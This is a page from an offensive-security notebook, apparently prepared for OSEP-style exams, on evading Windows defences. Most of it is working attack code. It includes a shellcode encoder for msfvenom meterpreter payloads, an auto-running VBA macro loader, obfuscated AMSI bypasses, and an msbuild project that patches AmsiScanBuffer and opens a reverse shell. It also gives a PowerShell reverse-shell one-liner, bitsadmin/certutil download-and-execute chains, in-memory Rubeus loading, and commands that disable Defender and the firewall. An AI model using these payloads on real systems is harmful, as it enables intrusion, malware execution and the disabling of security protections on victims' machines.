> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things.md).

# Bypass All The Things

## Stuck?

look at this --> <https://github.com/emanuelepicas/OSEP/tree/master/AV-Evasion>

## Encode payload with Byte Shifting

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace EncryptVBA
{
        class Program
        {
            static void Main(string[] args)
            {
            // byte[] buff = ... from msfvenom command, just paste 
            
            // HERE
            
            // msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.45.173 LPORT=8080 -f csharp
            // -----
            byte[] encoded = new byte[buff.Length];
                for (int i = 0; i < buff.Length; i++)
                {
                    encoded[i] = (byte)(((uint)buff[i] + 2) & 0xFF);
                }
                uint counter = 0;
                StringBuilder hex = new StringBuilder(encoded.Length * 2);
                foreach (byte b in encoded)
                {
                    hex.AppendFormat("{0:D},", b);
                    counter++;
                    if (counter % 50 == 0)
                    {
                        hex.AppendFormat(" _{0}", Environment.NewLine);
                    }
                }

                Console.WriteLine("The payload is: " + hex.ToString());
            }
        }
    }
```

for quick compiling using C# use csc.exe:

```
c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:C:\WIndows\Tasks\encodepayload.exe  z:\encodepayload.cs
```

## VBA Script decode payload with Byte Shifting

make sure you have this "(space)\_" in the end of line in your shellcode array:

<figure><img src="/files/pdkClZvgnTKsbBAcmaEK" alt="" width="505"><figcaption></figcaption></figure>

```vba
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Sub MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long


buf = Array(EncodedPayloadPasteHere)
For i = 0 To UBound(buf)
 buf(i) = buf(i) - 2
Next i
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub


Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
```

## AMSI Bypass

<figure><img src="/files/6PFtQERkZes5prEi8rSa" alt=""><figcaption></figcaption></figure>

always works.

```powershell
SeT-Item ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varIABLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."AssEmbly"."GETTYPe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."getfiElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sETVaLUE"(  ${nULl},${tRuE} )
```

more advanced

```
SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]("{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ))."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
```

sometimes problem with CLM

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils').GetField('ams'+iInitFailed','NonPublic,Static').SetValue($null,$true)
```

or if it doesn't works, save the powershell command in to <mark style="background-color:blue;">amsi.txt</mark>&#x20;

then execute it directly into memory with IEX:

```
(new-object system.net.webclient).downloadstring('http://192.168.x.y/amsi.txt') |IEX
```

Stuck with AMSI?\
try this -> <https://amsi.fail/>

## CLM Bypass

CLM is refering to Constrained Language Mode.

<figure><img src="/files/ScoUSmUQwKPiPuwvBFdn" alt=""><figcaption></figcaption></figure>

### Using FullBypass.csproj

{% hint style="info" %}
Make sure you have been migrate to exporer or edge with meterpreter\
to make shell stable. &#x20;

Also you can use process injection.

Because of the build can't  run in native reverse shell.
{% endhint %}

Check with this:

```powershell
$ExecutionContext.SessionState.LanguageMode

# ConstrainedLanguage (this is bad for running powershell script)
# FullLanguage (this is good for us)
```

save file as **FullBypass.csproj**

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<Target Name="Bypass">
		<FullBypass />
	</Target>
	<UsingTask
		TaskName="FullBypass"
		TaskFactory="CodeTaskFactory"
		AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
		<Task>
			<Reference Include="System.Management.Automation" />
			<Code Type="Class" Language="cs">
			<![CDATA[
				using System;
				using System.Runtime.InteropServices;
				using System.Diagnostics;
				using System.IO;
				using Microsoft.Build.Framework;
                using Microsoft.Build.Utilities;
				using System.ComponentModel;
			    using System.Collections.Generic;
			    using System.Collections.ObjectModel;
				using System.Management.Automation;
			    using System.Management.Automation.Runspaces;
				
				public class FullBypass : Task, ITask
                {

                    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
                    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint floldProtect);

                    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
                    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesRead);

                    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
                    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int processId);

                    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
                    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesWritten);


                    public static int BypassAMSI()
                    {
			Console.WriteLine("Author: Shelldon");
			Console.WriteLine("github: github.com/Sh3lldon");
			Console.WriteLine("!!!! Please do not use in unethical hacking and follow all rules and regulations of laws!!!!");

                        Process[] processes = Process.GetProcessesByName("powershell");
                        if (processes.Length != 0)
                        {
                            Console.WriteLine("[+] Found " + processes.Length +" powershell processes\n");
                        }
                        else
                        {
                            Console.WriteLine("[-] Powershell process does not exist");
                            Console.WriteLine("Please create powershell process");
                            System.Environment.Exit(1);
                        }

                        int id = 0;
                        bool res = false;
                        for (int l = 0; l < processes.Length; l++)
                        {

                            id++;
                            Console.WriteLine("#" + id);
                            IntPtr hHandle = OpenProcess(0x001F0FFF, false, processes[l].Id);
                            IntPtr baseAddress = IntPtr.Zero;
                            IntPtr amsiScanBuffer = IntPtr.Zero;
                            int moduleSize = 0;


                            Console.WriteLine("[+] Powershell process id: " + processes[l].Id +" & handle: " + hHandle);
                            foreach (ProcessModule processModule in processes[l].Modules)
                            {
                                if (processModule.ModuleName == "amsi.dll")
                                {
                                    Console.WriteLine("[+] Base address of amsi.dll: " +  "0x" + processModule.BaseAddress.ToString("X"));
                                    baseAddress = processModule.BaseAddress;
                                    moduleSize = processModule.ModuleMemorySize;
                                    Console.WriteLine("[+] Size of the module: 0x" + moduleSize.ToString("X"));
                                }
                            }

                            byte[] ret = new byte[32];
                            // First 32 bytes of AmsiScanBuffer function
                            byte[] fewBytes = new byte[32] { 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x70, 0x4d, 0x8b, 0xf9, 0x41, 0x8b, 0xf8, 0x48, 0x8b };
                            IntPtr outt;
                            bool addrScanBuffer = false;
                            int count = 0;

                            for (int i = 0; i <= moduleSize; i += fewBytes.Length)
                            {
                                ReadProcessMemory(hHandle, baseAddress + i, ret, fewBytes.Length, out outt);
                                if (addrScanBuffer == true)
                                {
                                    break;
                                }
                                for (int j = 0; j < fewBytes.Length; j++)
                                {
                                    if (count == fewBytes.Length - 1)
                                    {
                                        amsiScanBuffer = baseAddress + i;
                                        Console.WriteLine("[+] Found AmsiScanBuffer function: 0x" + amsiScanBuffer.ToString("X"));
                                        res = false;
                                        addrScanBuffer = true;
                                        break;
                                    }
                                    if (fewBytes[j] == ret[j])
                                    {
                                        count++;
                                    }
                                    else if (fewBytes[j] != ret[j])
                                    {
                                        count = 0;
                                        break;
                                    }
                                }
                            }
                            if (count != fewBytes.Length - 1)
                            {
                                Console.WriteLine("[-] Cannot find need bytes of AmsiScanBuffer function");
                                Console.WriteLine("Maybe you have already hijacked memory :)\n----------------------------------------------------------\n");
                                res = true;
                            }
                            if (res)
                            {
                                continue;
                            }

                            uint lpflOldProtect;
                            if (VirtualProtectEx(hHandle, baseAddress, (uint)0x1000, 0x40, out lpflOldProtect))
                            {
                               Console.WriteLine("[+] Successfully changed memory protection");
                            }
                            else
                            {
                                Console.WriteLine("[-] Changing memory protection failed");
                            }

                            byte[] hijack = new byte[3] { 0x31, 0xff, 0x90 };
                            int numberOfBytesWritten = 0;
                            if (WriteProcessMemory(hHandle, amsiScanBuffer + 0x1b, hijack, (uint)hijack.Length, out numberOfBytesWritten))
                            {
                                Console.WriteLine("[+] Successfully hijacked\n----------------------------------------------------------\n");File.WriteAllText("C:\\Windows\\Tasks\\test.txt", "[+] Successfully hijacked\n----------------------------------------------------------\n");
                            }
                            else
                            {
                                Console.WriteLine("[-] Hijacking failed\n----------------------------------------------------------\n");
                            }

                        }


                        return 0;
                    }


                    public override bool Execute()
                    {

                        Runspace rs = RunspaceFactory.CreateRunspace();
                        rs.Open();

                        PowerShell ps = PowerShell.Create();
                        Console.WriteLine(BypassAMSI());
						
						Console.Write("[*] Attacker IP: ");
                        string ip = Console.ReadLine();

                        Console.Write("[*] Attacker port: ");
                        string port = Console.ReadLine();
						
						//Change IP and PORT
						string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);
                                    $stream = $client.GetStream();
                                    [byte[]]$bytes = 0..65535|%{0};
                                    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
                                    {
	                                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	                                    try
	                                    {	
		                                    $sendback = (iex $data 2>&1 | Out-String );
		                                    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
	                                    }
	                                    catch
	                                    {
		                                    $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
		                                    $sendback2  =  ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
	                                    }	
	                                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	                                    $stream.Write($sendbyte,0,$sendbyte.Length);
	                                    $stream.Flush();
                                    };
                                    $client.Close();";
    
                        revShellcommand = revShellcommand.Replace("IP", ip).Replace("PORT", port);
			
                        ps.AddScript(revShellcommand);
						ps.Invoke();
						
                        rs.Close();
						return true;
                    } 
                }
			]]>
			</Code>
		</Task>
	</UsingTask>
</Project>
```

or download from github:

```
git clone https://github.com/Sh3lldon/FullBypass.git
```

Download this file, and upload it into the windows victim machine

```sh
curl http://192.168.x.x/FullBypass.csproj -o C:\Windows\Tasks\FullBypass.csproj
```

{% embed url="<https://github.com/Sh3lldon/FullBypass/blob/main/csproj%20File/FullBypass.csproj>" fullWidth="false" %}

Then run this command

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe .\FullBypass.csproj
```

### Using Compiled C# - Runspaces powershell

<https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/AppLocker%20Bypass%20PowerShell%20Runspace>

compile the project with visualstudio, then convert it to base64 with certutil in the windows

```
certutil -encode "\\192.168.56.106\visualstudio\AppLocker Bypass PowerShell Runspace\bin\x64\Release\AppLocker Bypass PowerShell Runspace.exe" \\192.168.56.106\visualstudio\PSRunspace-InvokeRun-certutilCoded.txt
```

setup python simple shell including this file:

* PSRunspace-InvokeRun-certutilCoded.txt
* **drop.ps1**  same as code below:

```powershell
$client = New-Object System.Net.Sockets.TCPClient('192.168.56.106',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

then listen the nc:

```
sudo rlwrap nc -lvnp 443
```

run this code in victim machine:

```
bitsadmin /Transfer theJob http://192.168.56.106:80/PSRunspace-InvokeRun-certutilCoded.txt C:\Windows\Tasks\enc.txt && certutil -decode C:\Windows\Tasks\enc.txt C:\Windows\Tasks\a.exe && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\a.exe
```

### Bypass AppLocker + CLM

{% hint style="info" %}
file.txt should be encoded with base64 windows mechanism
{% endhint %}

```
bitsadmin /Transfer jobFreelance http://10.10.x.y/file.txt C:\windows\tasks\file.txt && certutil -decode C:\windows\tasks\file.txt C:\windows\tasks\bypass.exe && del C:\windows\tasks\file.txt && C:\Windows\Tasks\bypass.exe
```

> We also able to change the last command to other bypass mechanism. ex: installutil.exe

### Using InstallUtil.exe

```
https://github.com/calebstewart/bypass-clm
```

### Amsi + CLM Bypass

run this with msbuild.exe:

{% hint style="info" %}
don't forget to edit the powershell payload
{% endhint %}

<figure><img src="/files/zUc6LbRKkq4HbwXXIct9" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/MinatoTW/CLMBypassBlogpost/blob/master/Msbuild/pwn.csproj>" %}

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe .\pwn.csproj
```

reference:\
<https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/>

## Run directly in the Memory

### powershell to memory

To bypass AV.

```powershell
IEX (New-Object Net.WebClient).DownloadString('http://192.168.x.x/powerview.ps1')
```

### exe to memory

```
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.x.y/Rubeus.exe')
```

run the exe in memory

```
$assemb = [System.Reflection.Assembly]::Load($data)
```

call the function directly because it's global function

```
[Rubeus.Program]::Main("s4u /user:xxx$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/file_01 /ptt".Split())

```

## Disable Windows Defender

Require <mark style="background-color:red;">Local Admin</mark> and need to execute as **impacket-psexec** or **psexec.exe**

> impacket-psexec needs smb service / port 445

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all
```

## Disable FIrewall

```
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true 
NetSh Advfirewall set allprofiles state off
```

## More Reference

{% embed url="<https://github.com/punishell/ADCheatSheet/tree/master>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
